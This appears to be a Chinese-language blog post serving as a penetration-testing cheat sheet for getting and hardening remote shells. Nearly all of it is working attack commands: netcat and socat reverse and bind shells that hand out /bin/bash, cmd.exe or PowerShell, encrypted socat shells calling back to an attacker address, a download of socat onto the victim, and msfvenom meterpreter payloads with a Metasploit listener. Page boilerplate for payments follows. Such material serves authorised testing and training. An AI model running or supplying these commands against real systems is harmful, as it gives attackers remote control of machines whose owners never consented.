渗透测试之建立shell连接及连接加固

shell获取

netcat

反向shell

攻击机执行
sudo nc -lvnp 443
被害机执行
nc <IP> <PORT> -e /bin/bash

绑定shell

攻击机执行
nc MACHINE_IP <PORT>
被害机执行
nc -lvnp <PORT>  -e "cmd.exe"

稳定shell

python
#备注
1、此方法特别适合linux
2、如果shell死机请键入 `reset`并按 Enter 键,恢复中断输出
#执行
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
ctrl + Z
stty raw -echo; fg
rlwrap
# 备注

此方法对于windows特别有用
#安装
sudo apt install rlwrap
#Windows执行
rlwrap nc -lvnp <PORT>
#Linux执行
rlwrap nc -lvnp <PORT>
Ctrl + Z
stty raw -echo; fg
socat
#备注
此方法对于linux有效,对于windows效果甚微
#二进制下载
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true

# 下载到受害机
sudo python3 -m http.server 80
wget <LOCAL-IP>/socat -O /tmp/socat

# 运行详见socat标题

socat

建立反向shell

攻击机运行
socat TCP-L:<port> -
受害机运行
#windows
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
#linux
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

建立正向shell

受害机运行
# Linux
socat TCP-L:<PORT> EXEC:"bash -li"
# Windows
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
攻击机运行
socat TCP:<TARGET-IP>:<TARGET-PORT> -

建立更稳定的反向shell

攻击机运行
socat TCP-L:<port> FILE:`tty`,raw,echo=0
受害机运行
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
备注
1、此过程将建立完全交互终端
2、socat shell 无法正常工作添加 `-d -d`命令来增加详细程度是非常值得的

socat 加密shell

创建证书

openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

建立反向shell

# 攻击机运行
socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 -

# 受害机运行
socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

建立正向shell

# 受害机运行
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

# 攻击机运行
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

建立交互式加密反向shell

#攻击机运行
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
#受害机运行
socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane

修改shell终端大小

查看shell终端大小

stty -a

设置终端大小

stty rows <number>
stty cols <number>

常见反弹shell负载

# Payloads all the Things
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

# Reverse Shell Cheatsheet
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

# kali 自带webshell
/usr/share/webshells

# Seclists repo
https://github.com/danielmiessler/SecLists

Msfvenom

生成反向分阶段msf shell

#winddows 64位
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

#linux 64位
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=<listen-IP> LPORT=<listen-port>

#winddows 32位
msfvenom -p windows/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

#linux 32位
msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o shell LHOST=<listen-IP> LPORT=<listen-port>

# 生成无阶段则将shell/reverse_tcp 替换为 shell_reverse_tcp

# 生成单纯的shell则将meterpreter 替换为 shell

查看可用的payload

msfvenom --list payloads

metasploit 创建监听

启动 msf

msfconsole

启动监听

use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <listen-address>
set LPORT <listen-port>
exploit -j

# payload 必须和负载生成时一致

查看会话

sessions

进入会话

sessions <number>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值